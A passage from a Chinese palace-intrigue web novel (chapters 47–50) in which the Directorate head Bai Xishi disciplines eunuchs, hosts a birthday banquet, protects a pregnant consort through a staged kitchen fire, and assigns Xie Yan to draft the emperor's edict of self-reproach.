闻言又看了一眼那折子,皇帝直接下令,“就交由东厂去办吧。” “是。” 很明显,皇帝这是不想追究,甚至想要假借东厂拿人,暗中让白惜时安排属下陪同鲍丞去彻查粮仓之事。 见白惜时听懂了自己的言下之意,皇帝没有再多言语,直到白惜时准备告退,才又看向他,“白惜时,记住,你既已经是掌印,这司礼监你不仅要管事,也得管人。” “下次,朕不想再见到送错折子的情况发生。” 白惜时低头,肃容应“是。” “退下吧。” 一个人走出勤政殿,白惜时立于高高的大殿外,垂目,遥望了一眼司礼监的方向。 沉寂了这么多日,她也放任了这么多日,似乎终于是有人按捺不住,要冒头了。 第47章 第47章 回到司礼监后,白惜时彻查了分发呈送折子的小太监,起先还有人想要蒙混过去,只说是一时疏忽不查,呈送错了地方。 作为东厂厂督,白惜时这点本事自然是有的,只使了些常用的手段,那两个小太监便哭天抢地,磕头承认他们是收了朝中两位大臣的好处,才将折子偷偷从中调换了过来。 那二人自以为神不知鬼不觉,又认为掌印是新来的应当发现不了。没成想,为了那点好处,却直接葬送了自己的前程,被杀鸡儆猴当场打了板子,继而如两个破布口袋般驱逐出司礼监。 一众大大小小的太监望着那昏迷的二人被拖出去,在地上留下两道长长的血痕印迹,继而几桶清水一浇,便再也了无痕迹,心中惧怕之余,纷纷将头压得更低。 白惜时端坐高台,居高临下,俯览众人,“咱家说过,司礼监乃内庭机要中枢,承辅佐天子之责,若是有人想要浑水摸鱼,扰国祚社稷,下场各位今日都看到了。” “个人有个人的路要走,咱家看来,内宦与朝臣并无不同,既被选入司礼监,便当无愧于心、秉公于行,亦不可被有心的权贵臣子牵制左右。” “若是受到威逼利诱,或是棘手之事难以决断,大可告知秉笔与我,我处理不了,上头还有天子。” 说到这里,白惜时目光透彻,看了一眼下首之人,“周秉笔,你说是也不是?” 周子良本坐于侧边的椅凳上,闻言,立即起身,“掌印所言极是,我等谨遵掌印教诲。” 审视了此人片刻,白惜时收回目光,继续朝下头望了过去,“总之,咱家不想看到今日这般情况再次发生。若是都听懂了,便各自忙各自的去吧。” 等到众人躬身应“是”,白惜时才缓然起身,又扫了一圈在场低垂的头颅,抬步,回到了内堂之中。 待掌印离开,大大小小的太监们噤若寒蝉、尽自散去,江小锁从内学堂回来,亲眼所见方才一幕,双手捧在胸前,难掩心潮澎拜。 “掌印真的好厉害啊,对,内宦也是人,凭什么就要被人看低了去?唉,我什么时候才能变成掌印这样的人啊。” 江小锁正在兀自憧憬,周遭的小太监听了去,面露嘲笑,“江小锁你别做梦了,你拿什么跟掌印比?” 白惜时是大魏开国以来最年轻的司礼监掌印,二十一岁,捉奸细、平匪患,参与平叛定国公谋反,这几点,便让无数人望尘莫及。 不过江小锁这人心态好,不能比吗?好像是有些差距。 可是他今日回来的路上遇见了一个被人前呼后拥的大将军,那大将军得知他是掌印新收的徒弟后,还特意停下脚步,夸他和掌印小时候有些相像。 说来那将军似乎跟掌印很是相熟,温声与自己说话的时候一点也没有那些文臣武将看不起内宦的傲气,江小锁觉得他可好可好了,就像掌印一样好。 既然大将军都这么说了,那是不是就代表着,他以后也可以成为和掌印一样的人? 白惜时独坐于内堂的案几之前,不知小徒弟的憧憬幻想,而是在思索周子良此人。 周子良作为司礼监秉笔,对她算得上是配合服从,平日里折子有什么异议,二人也可有商有量。 但,户部鲍丞的那封折子,由周子良亲笔朱批,却听之任之,看到后没有任何反应。 而那两个犯错的小太监,实际上也是隶属于周子良之下。 白惜时不知道他到底是疏忽糊涂,还是刻意放任……姑且,再看看吧。 索性鲍丞如今已经由千闵带入东厂,不日,便应该瞒着众人耳目前往各地清查粮仓事宜。 — 除了朝堂之事,白惜时近日倒是迎来了一件小小的喜事,那便是她的二十二岁生辰快要到了。 她自己其实不甚在意,但是孟姑姑已经托人递了好几次消息进来,让她那日抽空回府,大家好一起给她庆贺庆贺。 生辰当日旁听完早朝,又陪同皇帝一起回到勤政殿处理了些政务,天子在用膳前,突然对白惜时道:“今日没什么事便回去吧。” 闻言抬眼,白惜时有些错愕地看向龙椅中的天子。 皇帝:“今日不是你的生辰,朕记错了?” 白惜时这才相信,继而,低头笑了起来。她以为在这宫中,除了张茂林,没人会再为她记得这种事。却原来皇帝也是记得的。 儿时的情谊,还真是,弥足珍贵呀。 行礼谢了恩,白惜时下午的时候便离开司礼监,回了府中一趟。只是没想到外头消息传得这么快,她才出宫不久,便陆续有人提着贺礼登门拜访。 大部分白惜时都着人谢绝了,生辰宴不过是府中小聚,难得放松的时刻,她亦不想掺合进去复杂的朝堂人际。 但有两波人,白惜时想了想还是让彭管事请了进来。其中一个是镇北将军魏廷川,另一波,则是锦衣卫一行三人。 待到几人相继于厅堂落座,又着人上了茶盏,白惜时才好奇问道:“三位怎么知晓今日是我生辰?” 魏廷川知道很正常,滕烈、蒋寅、冯有程又是从何得知? 能够被请进府中,冯有程满面都泛着红光,微微倾身道:“是属下进宫办差,偶听宫人提及,所以特意与指挥使禀报赶来为掌印一起庆贺生辰。” 白惜时:“宫人?” 冯有程点头,意问深长地又看了白惜时一眼,“扶疏姑娘。” 白惜时:“……” 扶疏,怡嫔的那个宫女扶疏,确实不知道上哪打听来的白惜时生辰,今日一早还特意给白惜时送去了一碗长寿面。 可能是冯有程的目光太过意味深长,意味深长到解衍、魏廷川、滕烈此刻都嗅到了不同寻常的味道,三人不约而同停下动作,看向冯有程。 魏廷川率先开口,“哪个扶疏?” “这个,这个……我不大好乱说,都是道听途说道听途说。” 冯有程一副欲言又止的模样,说着又朝上首的方向望了一眼,下定决心抓住这次拍马屁的机会,遂感慨一声,“只能说,还是掌印风采照人,不得不让万千女子倾心啊。” 白惜时:“……” 冯有程这张嘴还真是…… 感受到堂下几人相继投过来的视线,或探究,或隐忧,白惜时一盏茶送到嘴边,想喝都喝不下去,有一种吃瓜吃到自己头上来的冤大头感。 眼看魏廷川和蒋寅都有想要继续往下问的迹象,这个时候孟姑姑满面含笑来请,说是生辰宴已经准备好,请掌印和几位贵客入席。 不知道为什么,白惜时竟松了口气。 前往用饭的路途中,因为人多,又有热闹的冯有程在场,场面倒一直还算热络,连带着白惜时与魏廷川都少了几分之前的尴尬生疏,如同老友一般,几人聊了些近来之事。 白惜时询问滕烈赵岳的情况,魏廷川亦说在宫中见到了白惜时新收的徒弟江小锁。 解衍坠于最后,没有融入几人的话题。 待进了用饭的庭院,白惜时看了眼左右,继而像是发现少了什么,回过头去,停下了脚步。 “走啊。”她唤了一声隔了几步之遥的男子。 滕烈与魏廷川见状也皆是一顿,回眸,望向落于最后的男子。 滕烈不动声色,魏廷川莫名蹙了蹙眉。 解衍的面容本来隐藏在树影之下,看不真切表情,听见白惜时的这一声唤,才加快脚步,走了过来。 “想什么那么入神。”白惜时问他。 “没有。” 闻言露出惯有的微笑,解衍目光掠过到访的一行人,继而示意了眼厅堂之内,“掌印先行,我给孟姑姑帮完忙就来。” 圆桌之前,白惜时与几位宾客相继入席,滕烈、冯有程分立于白惜时两侧,冯有程见镇北将军在场,本要让位于他,魏廷川此刻却看了一眼白惜时,回想起寿宴择位的那一幕,他能感受到了白惜近来时对自己的回避…… 因而,男子退让一步,改为将冯有程推至上首。 冯有程一副受宠若惊的模样,站在原地与魏廷川僵持,“哎呀,将军,这可使不得,您这不是折煞我么?” 魏廷川留意片刻,见白惜时并没有异议,遂调整了一下表情,扬起笑容道:“惜时的家宴而已,没那么大的讲究,随便坐便是。” 但没奈何,冯有程在这方面还真就是个讲究人,他认定了官职在下就不好越过了人去,继而二人又是一番推让,直到解衍走进来,尚且没有定下来谁坐于掌印一侧。 滕烈凉着一双眸子,静观其变,而白惜时,多少是有些为难的。 她知道,魏廷川在等她的一句话。 世子此番回京,其实已经十分配合迁就,这是白惜时能够感受到了。 虽已定亲,却仍是多年挚友,白惜时此时此刻又自问了一句,何必呢? 不过就只是吃个饭而已,谁坐于身旁又有什么所谓?她以前于酒席之中旁边难道就没有坐过已婚的男子吗?有的。 说到底,还是那时的自己没有完全放下而已。 白惜时想到这亦觉得之前的坚持过于较真,如今既已释然,便也应尝试抱着一颗平常心相处,因而侧首,正欲打断二人直接劝世子落座,这时候,解衍却径直走了进来。 将孟姑姑为每人准备的一份汤盅置于红木圆桌,解衍很快端着其中一碗,略带些歉意走至白惜时身侧。 “掌印,方才忙中出乱,属下误将每一盅汤罐都撒了葱花,是属下大意,眼下替您挑出来可否?” 就着解衍的手往汤盅里头一看,确实是有葱花,且量还不算少,白惜时没多想,一点头,“唔~可。” 解衍闻言,立于冯有程稍前一些的位置,开始用汤匙一勺一勺将里头的葱花撇出,动作沉稳认真。 白惜时看了一会,突然觉得一个大活人站在自己身侧也有些突兀,继而道:“别站着了,坐下挑吧。” 闻言动作一顿,解衍眼睫低垂,片刻之后,抬眼,神色如常望了过来,“掌印,属下应当坐于何处?” 下巴微扬,随意示意了眼身侧,“就这。” 白惜时想的很简单,既然世子与冯有程互相推辞,那便让位于解衍,应该也没什么大不了? 不过,就是个寻常家宴罢了。 第48章 第48章 解衍闻言,看向身侧的冯有程,见此人所处位置仍占据了半边椅凳,扬起的笑容无懈可击,“冯副使,有劳。” 反应过来后,冯有程让出位置,临走前,还暗暗给解衍比了个大拇指,“高,实在是高。” 解衍目视前方,当作什么都没听见,大方坐了下来。 冯有程第一次有种被人阴了一刀的感觉,妈的,读书人果然坏的很,吃个饭跟上演三十六计似的。 谁没事干跑到后厨去撒葱花?亏他想的出来。 心眼子贼拉多! 他自叹不如,也不和解衍挨着坐了,他怕他挨的近了马屁拍不上,自己一会还得吃亏,因而又让了一步,改为绕到魏廷川的下首。 如此,解衍与魏廷川便坐在了一处。 魏廷川面色不虞,见解衍坦然自若,他盯了对方一会,继而顺手,将自己的汤盅推了过去,声线莫名带着两分凉意,“巧了,我亦不喜葱花,解公子既然擅长,不知可否一并代劳?” 闻言,滕烈、冯有程的视线均投了过来。 看了那推过来的汤盅一眼,解衍不疾不徐,用汤匙撇下最后一点余沫,继而抬首,望向的不是魏廷川,而是白惜时,“掌印,宾客为先?” 目光在二人之间扫过,白惜时隐约察觉到了有些不对劲,但想了想,还是点头“嗯”了一声。 转手,解衍便将已经挑完的汤盅给魏廷川反推过去,面上从容不减,“将军,请。” 继而接过魏廷川方才送过来的那一盅,撩起衣袖,男子继续帮白惜时挑着葱花。 目睹了全程的冯有程:“……” 真,真不愧是探花郎啊! 他那是将与掌印套近乎当成一份事业来干啊!这谁能干的过他? 冯有程内心槽点无数,扬起头,用眼神跟对面的滕烈无声交流——姓解的瞧着不声不响,实际上不是个善茬啊。 滕烈瞧了眼冯有程,没给回应,男子垂下眼帘,掀开盅盖,亦尝了一口鲜汤,葱花……撒的还真是不少。 落座的序幕既已揭过,这个时候千闵、元盛也一同赶到,喜气洋洋向白惜时道着生辰大喜。 孟姑姑见状,又开了两坛好酒为生辰宴助兴,席间有蒋寅、冯有程暖场,很快,堂内又恢复了一派热闹。 因为是在府中,加之有孟姑姑在场,白惜时便也小酌了几杯,微醺之下听几人讨论着朝堂、市井之事,亦觉几分久违的轻松。 这样的轻松氛围一直持续到酒过三巡,众人都有了几分醉意,蒋寅此刻抬手夹菜,突然目光对上对面二人,眉头随之一扬,说出心中一直以来的疑问。 “其实我早就发现,魏将军和解公子长得颇有几分相似。” “听闻掌印与魏将军是发小,感情深厚。不知道当初与解公子结识,掌印愿意出手相助,是否也因为解公子长得像故友的缘故?” 话音一落,场中几人神色各异,方才还热闹融洽的氛围,到了此刻,又出现一丝凝滞的征兆。 滕烈率先暼了蒋寅一眼,眉目严厉。 被指挥使这么一瞪,蒋寅刹那间也酒醒不少,意识到自己是不是说了什么不该说的话,他刚想打圆场混过去,不料冯有程这时候接过话茬。 “原来还有这段渊源,这么看掌印真是个重情重义之人啊。掌印来,我再敬您一杯,您快与我们说说,当时是什么样的情感趋势着您路见不平拔刀相助。” 滕烈、白惜时:“……” 还真是,哪壶不开提哪壶啊。 无语起身,饮下冯有程敬的这一杯酒,待放下杯盏,白惜时发现,一桌子的人此刻都在望着自己,显然都有这样的疑惑。 这其中,包括魏廷川、滕烈。但唯一一个没有看向她的,是解衍。 男子此刻略低着头,一无所觉地吃着碗中的白饭,就这么很认真地吃着,没有菜了也还在吃。 白惜时挪回视线。 这个问题,她其实已经回答过魏廷川,却从未对解衍解释过,不是不想解释,是有几次想要提及,反倒被解衍打岔过去,他似乎并不想听到自己的答案。 谁都不想成为另一个人的影子,解衍,也不会例外。 思及此,白惜时觉得借此机会,解释清楚亦无什么不可,遂平静向众人望过去,“一开始,确实有这部分原因,但也不全是。” “不过现在……”白惜时作势向两人望了过去,“其实仔细观察也没有很像,世子是世子,解衍是解衍,很容易区分。” “在坐各位认错过他们二人?” 白惜时反问到场宾客。 蒋寅抓准时机找补,“没有没有。” 那便是了。 余光瞥见身侧之人终于又开始夹菜了,白惜时没再说什么,招呼着众人继续吃饭。 一顿饭吃得既热闹又一波三折,索性后面氛围倒还算融洽,吃完长寿面,也到了要散场的时候。 滕烈、蒋寅扶着喝懵了的冯有程走了,魏廷川留下来似是有什么话要说,但看解衍还在场,千闵、元盛也都自发留下来收拾残局,最终什么都没说,又向白惜时道了一声生辰喜,便踏着月色,自行离去。 白惜时送完客,待回过头来,发现解衍不声不响跟于自己身后,遂朝他一挥手,“客人都走了,你也喝了不少,回去休息吧。” 解衍点头,然而整个人仍站在原地,继续看着白惜时没有动。 喝多了? 抬手从他面前掠过,见男子眼神清明,白惜时又莫名其妙瞅了他一眼,干脆置之不管,绕过男子,自行往所居的院中走去。 只是走了一段,察觉到后头的脚步声,白惜时复又停下,回过头,“为何一直跟着咱家?” 解衍:“属下送掌印回院中。” “不用,这府里的路我不是不认识。” 然而解衍一言不发,我行我素,待白惜时再一走动,他又继续跟在后头。 这人……还真是翅膀硬了,连她的话都敢当耳旁风。 白惜时:“你是不是有什么话要说?” 闻言,解衍望着白惜时,憋了半天,憋出一句,“魏将军和指挥使,都可时常进宫帮掌印教导徒弟?” 白惜时想了想,“偶尔,没有经常。” 更何况魏廷川也没有教导小锁。 说完又是长时间的沉默,等了一会,白惜时见解衍没有继续说话的迹象,抬步又要离开,解衍这时候却莫名来了一句,“……黄麻最近瘦了。” ……? 黄麻瘦了?它瘦了吗? 白惜时这回彻底转过身来。 好巧不巧,她今日从宫中回来的时候,恰好去了趟东厂,也看到了黄麻,那家伙吃得跟个圆球一样,走起来腿都短了好几分,活像一个行走的小板凳。 解衍竟然开口说,它瘦了? 白惜时:“……它哪瘦了?” “全身。” “那你觉得,它为什么会瘦?” “可能是,思念掌印。” “是么?” 白惜时听到这,不咸不淡地觑了面前的男子一眼,“那可真是挺思念的,都思念成球了。” 解衍:“……” 眼看男子在自己面前一点一点凝固住,方才在饭桌上的沉稳自如荡然无存,整个人生出一股谎言被拆穿的拘谨之感,白惜时不知怎么的,心情竟变得越发好了起来。 看来欣赏人类的尴尬,也是她独爱的消遣方式之一。 这心情一好,白惜时便也起了调侃之心,“我看你最近倒像是真瘦了,你又是什么原因?” 解衍本就站得笔直,听到白惜时这句话,腰杆下意识怔了一下,垂在两侧的手亦微微抠成拳,继而莫名低头,没有再看白惜时。 白惜时这时候反倒饶有兴趣,观察着他,“咱家回去睡觉了,你还要跟吗?” 解衍没说话,半晌之后,才略微尴尬的抬头,看了白惜时一眼。 …… 白惜时直到回房的时候,心情都算得上不错,孟姑姑一开门见着她,便也跟着笑了起来,“掌印遇到什么喜事,这么高兴?” 白惜时闻言一愣,“我有高兴吗?” 这么明显?她其实就是觉得解衍好玩罢了。 孟姑姑却很快点头,“有,掌印的眼角眉梢分明都是上扬的。” 上扬了吗? 闻言微顿,往屋中的那面铜镜望过去,白惜时观察镜中之人,她好像还真的挺高兴。 问题是,她为什么高兴? 是因为,解衍吗? — 生辰当日,白惜时睡了一个难得的好觉,在自己的府邸,又有孟姑姑守在身旁,似乎才能真正叫她安心。 第二日天还未亮,白惜时马不停蹄回宫赶往司礼监,继续陪同皇帝旁听当日的早朝。 只不过一回司礼监,手头的事务又如同潮水一般涌了过来,白惜时自然没工夫去探究那日为何会因解衍而高兴。 应该就是偷得浮生半日闲,心情放松罢了。 些微的困惑被抛诸脑后,朝政与伴君再一次占据了白惜时的大部分时间,只不过这一日,司礼监倒是迎来了一位意想不到之客——端静公主。 端静公主是一个人来的,没有宫女、太监的陪同,当见到白惜时从内堂走出,她很快笑了起来,“听闻公公执掌司礼监,早就想过来对道一声恭喜,只是宫中规矩严,不好逾越。” 时隔半年,公主好像又长大了不少,知她在这皇宫之中日子恐怕也并不好过,白惜时依规行礼,“公主言重了。” “是遇到了什么困难了吗?”隔了半晌,白惜时又问了一句。 “没有。”端静公主听到这里缓缓摇了摇头,继而扬起笑脸,“我就是想来看一看掌印。” 第49章 第49章 端静公主过得并不好,这是白惜时的第一感受,半年前还稍有一些婴儿肥的脸颊,此刻已经越发瘦削起来,因而见面的第二句话,白惜时才会问她是不是遇到了困难。 但既然公主否认了,她亦不好再问,深宫之中,每个人都有每个人的难言之隐。 白惜时与端静公主算不得多熟稔,只不过有半年前的那场意外在,似乎是比旁的人多了一些信任,二人互相问候了几句后,便显得有些无话可说。 端静公主看起来不想要那么快离去,目光微转,朝白惜时身后的书架上望过去,“掌印,我可以借看一下那些书吗?” 她问的很小心,像生怕白惜时会拒绝。 白惜时回头,跟着往书架望了过去。 这些书,少部分是爷爷张茂林留下来的,更多的则是她来之前司礼监为他采买置办的,她才上任掌印之位,很多事务仍在摸索熟悉,一忙起来根本无暇看书,因而这上头很多书也都是崭新的。 白惜时:“可以,公主自便。” 得到白惜时的应允,端静公主很高兴,她提着裙摆,安安静静走过去挑选了几本,不过出乎白惜时的意料,她挑的竟都是些风土人情、治世经略方面的内容。 白惜时:“公主喜欢这些?” 端静公主低头看了一眼,显得有些不好意思,“就是随便看看。” “公主喜欢这些很好。” 得了白惜时的夸赞,公主抱着书本的手指更紧,试探着问道:“那掌印,这些书我借回去,过几日再来还给你可以吗?” “可以。” 公主这回是真的笑了起来,她于这宫中太孤寂了,父皇的忽视,俞贵妃的不喜,连带着宫女和太监都不待见她,所以,她其实鼓起勇气来找掌印也是存着私心的,她想要寻求到那一点点的倚仗。 不知为什么,自半年前遇险回来之后,太后也对她也越发冷淡,虽仍寄居于寿康宫,但大多数时间对她不闻不问。有时候一不小心遇上,她行礼慢了些,便会遭到一顿严厉的训斥。 宫中之人都是看眼色行事的,因而端静的处境也更加艰难。 所以当得知白惜时成为司礼监掌印,她高兴的好几天都没有睡着觉,如果她能够跟掌印熟悉起来,大家看在掌印的面子上,应该也会对她稍微好那么一些些吧? 端静公主有些期待地想。 白惜时作为一个成年人,又怎么可能看不穿一个孩子的心思? 何况端静公主如此的行为和试探,其实很久以前,她在另外一个人的身上也看到过。 白惜时有感而发,“公主和你的父皇其实很像。” 小公主闻言,眼睛一下子都变得闪闪发亮,里头闪烁的是对父亲的无限崇拜。 “掌印,真的吗?” 白惜时亦回馈以微笑,“真的。” 很多人可能都已经遗忘,如今睥睨天下的帝王,在仍是废院皇子的时候,也曾有过很长一段谨小慎微的日子。 他也去求过人,也向人低过头,亦会在深夜辗转反侧,不过他那一颗受伤的心都被当时的宫女姐姐,如今的俞贵妃抚平。 所以很多人都不懂,俞贵妃相貌平平,凭什么能够宠冠六宫? 但白惜时却是明白的,当时的张茂林年纪太大,白惜时又太小,因而在许多个夜不能寐的长夜里,皇帝是在宫女姐姐的温柔抚慰下才渐渐睡去。 当时的四个人很团结,只不过时移世易,权势可以滋养一个人,亦可以改变一个人。 有时候人与人之间,可以共患难,却未必可以同富贵罢了。 白惜时正兀自回忆感慨间,突然司礼监门外一声突兀的求见之声将她从过往中拉了回来—— “钟毓宫宫女扶疏,求见掌印!钟毓宫宫女扶疏,求见掌印!奴婢有要事禀报,还请公公网开一面,让我见一见掌印。” 闻言蹙眉,白惜时看了公主一眼,继而转向此刻正小跑进来的汤序,“怎么回事?” “回禀掌印,听闻怡嫔娘娘一早被俞贵妃请走,已有两个时辰未归,扶疏姑娘应该是等急了,眼下是想……请掌印帮忙。” 白惜时:“你去告诉她,后宫自有皇后娘娘与俞贵妃做主,再上头还有太后,咱家身为内宦,不插手后宫之事。” “是。” 汤序躬身后退,又匆匆往外走去,只不过过了一会,又满面为难地回来了。 汤序:“掌印,扶疏姑娘跪地不起,眼下头都磕破了,奴才怎么劝她也不肯走,说是只想与掌印说一句话。” 闻言凝眉,白惜时沉吟片刻,最后终是一挥手,“让她进来吧。” 果然,这小宫女平日里的茶点可不是那么好吃的。 想到这又回头看了一眼端静,白惜时:“公主若是没什么事,便先请回吧。” 她预料到了此事会比较棘手,徒留公主在此地反而可能给她带来麻烦。 端静公主见此情状,听话地点点头,抱着书本往外走,在与那小宫女擦肩而过的时候,略微吃惊地看着她的模样,继而什么话都没说,垂首加快脚步走出了司礼监的大门。 白惜时立于高阶之上,垂首望着快步走近之人,她想到过扶疏的模样会比较狼狈,没想到却是如此狼狈。 原本圆溜白净的脸蛋上现在印着明显的巴掌印,看样子是前不久才被人掌掴过,而额头也因刚才磕头磕得狠了,亦残留着血迹。 白惜时就这么看着她,须臾之后开口道:“说吧。” 一听见白惜时说话,扶疏就委屈的直掉眼泪,继而又想起更重要的事,上前两步攥紧拳头。 “掌印,怡嫔娘娘有喜,尚不足三个月,因为这后宫的孩子不知道为什么一直留不住,所以娘娘没让往外说,连圣上都还不知。 “可是,可是今日贵妃娘娘让太医请过平安脉后,突然就将娘娘请了去,到现在都没有回来。奴婢担心去找,可那些贵妃的宫人非但不让进,还斥责奴婢无礼将奴婢打了一顿。” “掌印,求您救救娘娘吧,奴婢担心,担心……” 说到这里,扶疏又开始不停地掉眼泪,显然是担心等怡嫔从俞贵妃的宫中出来,那孩子便也保不住了。 而这后宫中的孩子常保不住,白惜时亦有所耳闻,至于什么原因她没有去探究,但多少能够猜得出来。 贵妃娘娘自两年前小产之后,就一直没再有过受孕的消息,自己的孩子没保住,又见新人…… 白惜时没有再继续想下去,而是去问扶疏,“求见过圣上了吗?” “求见过了。” 扶疏说到这,言辞更加急切,“可是御前的公公说皇帝连续几夜辛劳政务,眼下正在补眠不许任何人打扰。又,又有好多侍卫拦着,奴婢根本见不到圣驾。” 一来是皇帝在补眠,二来,应该也是不愿为了此事开罪贵妃娘娘。 毕竟两位娘娘在皇帝心目中谁轻孰重,明眼人都看得出来,那些御前伺候的又都是人精,谁都不想要往自己身上揽事。 思及此,白惜时目光掠过几个廊下恭敬站立的小太监,垂目而问,“说完了?” 扶疏点头,期冀地望向白惜时。 “说完了便回去吧,这个忙咱家帮不了。” “掌印!”错愕抬眼,扶疏定定望着此时高台之上的男子。 她以为,她以为掌印至少会愿意领着她去求见圣上的。 然而白惜时此时却已转身进屋,片刻之后,没有起伏的声线由内堂传出,“汤序,送客!” 从司礼监出来,扶疏心灰意冷,一个人担忧恐惧地往回走,脑袋混沌的如同浆糊,太后那里身子不爽利闭门不见,皇后娘娘又形同虚设根本不敢管束贵妃,连她最后抱有希望的掌印都…… 扶疏陷入求助无门的彷徨之中,难道说,难道怡嫔娘娘真的就…… “扶疏姐姐。” 正在小宫女不知如何是好之际,江小锁突然不知何时从这条没什么人的巷道中冒了出来,又望了眼左右,他才笑着走近道:“掌印命我问一问姐姐,姐姐这么会做茶点吃食,钟毓宫可是有自己的小厨房?” 扶疏擦了把眼泪,有些不想理他,听到掌印,才有气无力回了声“是。” 闻言江小锁笑的更加开心,“那便好。掌印让我告诉姐姐,眼下就快晌午,小厨房也该到烧火做饭的时候了。” 扶疏恍若未闻,甚至想要嗤笑一声,这个时候谁还有心思做饭?她继续朝前走去,直到走出两步,才似有所觉——烧火,做饭? 倏然一顿,女子回头,此刻便见那小太监仍站在原地,正笑意吟吟地望向自己。 …… 大半刻钟后,宫中之人莫名见湛蓝的天空下,一股突兀的浓烟直冲而上,互相辨别了一下方向,才发现应该是从钟毓宫那边飘过来的。 宫中走水可是件大事,没过一会,许多宫女太监便都提着水桶匆匆过来帮忙,另有人也急急往皇帝的寝殿疾行禀告。 扶疏带着几个宫女站在门口大声呼嚷,“救火,快来救火,钟毓宫走水了!” 闻询赶来的宫人火急火燎冲进来,结果提着水桶一看,什么啊,原来只是个小厨房着了火,烟虽大,概因只是点着了什么易起烟的物件,火势仍在可控的范围之内。 明明白白的雷声大雨点小。 反应过来便有人无语去骂扶疏,“有你们钟毓这么大惊小怪吓人的吗?有功夫叫喊,你们一起合力多浇几遍水这火估计也就灭了。” 扶疏却不服气,“这怎么能是吓人呢?怡嫔娘娘有喜,受不了烟雾的熏呛。若是火烧大了给娘娘熏出个好歹来,大家都吃不了兜着走!” “怡嫔有喜?”然而扶疏的话音一落,回答她的不再是那位宫人,而是换成了一身明黄色衣袍的男子。 众人见到来人,纷纷后退,跪下身去高呼“万岁。” “先起来救火!” 皇帝此时看起里像是有些心急,说完,又很快看了扶疏一眼,“怡嫔现在身在何处?” 闻言,低头又默背了一遍江小锁方才所教之话,扶疏这才低头答道: “禀圣上,万幸万幸,今日一早俞贵妃便请了娘娘去喝茶,冥冥之中助娘娘避过一劫,没有受到这浓烟的影响,说起来,奴婢们都要替娘娘谢俞贵妃庇护呢。” 皇帝闻言,眉头却稍稍蹙起,继而调转步伐,“走,去贵妃处看看。” —— 午膳过后,白惜时难得空闲坐于窗边,挽起衣袖,正在为一盆新送来的绿植剪枝浇水。 这个时候刚吃完饭的江小锁欢欢喜喜跑了进来,等向白惜时背完了今日内学堂所学,见四下无人,才凑近了小声道:“掌印,怡嫔娘娘已经回到钟毓宫。” 闻言动作不停,白惜时继续慢条斯理给那绿植浇水。 江小锁:“听闻被贵妃跪了一个多时辰,不过索性怡嫔娘娘身子骨不错,虽见了红,但太医诊断后又给开了保胎的药,眼下孩子算是保住了。” 白惜时听完,浅浅“嗯”了一声,之后便再没有多余的言语。 江小锁等了片刻,便又恢复原来的音量,“掌印,那书本背完徒儿便先退下了?” “去吧。” 等到江小锁离开,白惜时凑近这株刚修剪过的绿植,继而目光微动,在肥厚的叶片下发现了一片新长出来的嫩叶,小小浅浅,伸出手,白惜时轻柔地托了一托…… 瞧着这片新叶,不知不觉,白惜时亦唇角微扬……她虽不想参与这后宫争斗,但一个小生命,若是有能力,那便保一保吧。 第50章 第50章 转眼已经进入盛夏,天气越发炎热,如之前预料的一般,大魏北部地区近一个月来都没有降雨,眼看便要干旱成灾。 东厂与鲍丞外出暗查已传回消息,部分地区粮仓存在瞒报现象,实际储存量远低于上报之数,其中存在不少克扣与贪腐现象,现下部分受灾之地的储量已不足以应对灾情。 皇帝得知后盛怒不已,因此处理了一批欺上瞒下的官员,同时立即下令从周边和南部急调储备粮,送往受灾地区,以免造成民怨。 但,一直不下雨,储粮总有用完的时候,皇帝在朝中大臣的建议下,亦准备亲自赴开宝寺祈雨,为天下苍生谋福祉。 祈雨的一应事宜均在紧张筹备之中,皇帝为表心诚,特决定下罪己诏,向皇天后土请罪,祈求天降甘霖,庇佑大魏子民。 钦天监亦在挑选测算合适的时日,一切看起来有条不紊,但问题就出现在,内阁和翰林院代拟的几稿罪己诏呈上去,皇帝均不满意。 不满意便不满意,可难就难在,皇帝也并未说出哪里不满,只打发回去叫人修改,结果修改回来的,他仍旧不满意。 几次三番下来,皇帝不高兴,朝臣们亦诚惶诚恐,均不知如何是好。 这日勤政殿议事结束,内阁李大人留住白惜时,询问了几句赵岳近况之后,得知那孩子已经开始吃饭,也愿意继续习武,心下宽慰不少。 “此子乃故友所剩唯一血脉,我那故友虽昏聩糊涂,没有及时与叛党撇清关系,但老朽仍旧于心不忍,他那独子便劳烦掌印照拂了。” 虽官居一品,却最为谦谨和善,这大概便是李大人能得百官信服,历经三朝而不衰的重要原因之一。 德高望重之人,白惜时自然也心生敬服,遂扶住对方,“首辅大人言重了。” 闻言,李大人笑了一下,却并没有急于离开,而是目光投向那边几位垂头丧气的翰林学士,他们一人手里均拿着一册代拟的文书,来的时候信心满满,眼下却是如无头苍蝇般,急得直挠头。 白惜时跟着一起望了过去。 李大人:“在老朽看来,这些翰林学士均是百里挑一,遣词用句绝无什么令人指摘之处,只不过,错在领会不了圣意。” 说罢看向白惜时,“掌印是最了解圣上之人,在掌印看来,这罪己诏应当如何修改?” 白惜时听到这倒是有些惊讶,“首辅大人愿意相信于我?” “有何不可?”李大人摸了把胡须,眼中泛着点点笑意,“各司其位,各骋所长,掌印这些时日的用心,老朽亦看在眼里。” 自白惜时接任以来,朝臣们原先预料的政令不畅之事确实没有发生。 白惜时:“首辅大人若是愿意相信于我,给我一日时间,咱家姑且试上一试。” 李大人这次倒有些意外,“掌印另有合适人选?” 他的本意是白惜时与圣上一同长大,眼下又日日伴于左右,应该是了解皇帝不满意原因的,因而,想要让他指点指点那些翰林学士。 不过白惜时眼下,却更愿意替解衍抓住这次难得的机会。 “但愿不会让大人失望。” 当日傍晚,白惜时离开司礼监,回到了宫外的府邸。 用完晚膳,她便将解衍独自留下一并叫入书房,让他替皇帝代拟这封罪己诏。 白惜时坐于案桌前,望向对面青松一般的男子,“钦天监测算的祈雨之日便是在后天,所以,你只有一个晚上的时间。” 虽为罪己诏,但皇帝,当然也是有偏向的。 皇帝自登基以来,算得上勤政,江山社稷、百姓民生经他在位八年来的努力,也均有欣欣向荣之兆,这个时候写罪己诏,是皇帝谦虚,怎可痛批? 何况乎他还是一个好面子,极其爱护自己名声之人。 若是写得太狠,把皇帝批的一无是处,那皇帝这么多年来的付出岂不是笑话? 可若是写得太过空泛,均是虚无之言,皇帝亦觉得心思不诚,不够凸显他是一名实干之君。 因而在白惜时看来,想要写好这篇文章,就要设身处地站在皇帝的角度去写。 可以写问题,但更要写原因,这些问题的存在不是因为皇帝无能,不够辛勤,而是因为积弊已久,皇帝已经认识到了症结所在,并愿意为此付诸行动,积极解决。 